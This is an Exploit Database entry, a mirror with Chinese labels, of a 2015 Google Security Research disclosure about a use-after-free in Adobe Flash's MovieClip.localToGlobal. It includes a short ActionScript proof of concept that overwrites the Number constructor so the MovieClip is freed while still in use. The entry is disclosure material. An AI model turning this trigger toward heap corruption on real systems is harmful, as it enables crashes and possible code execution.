Adobe Flash MovieClip.localToGlobal – Use-After-Free

Exploit Database
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作者： Google Security Research

日期： 2015-12-18
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/39056/

Source: https://code.google.com/p/google-security-research/issues/detail?id=570

There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:

var a = func;

_global.Number = a;

this.createEmptyMovieClip("mc", 1);

mc.localToGlobal( 7 );

function func(){

mc.removeMovieClip();

// fix heap here

this.x = 2;

this.y = 1;

}

A sample swf and fla are attached.

Proof of Concept: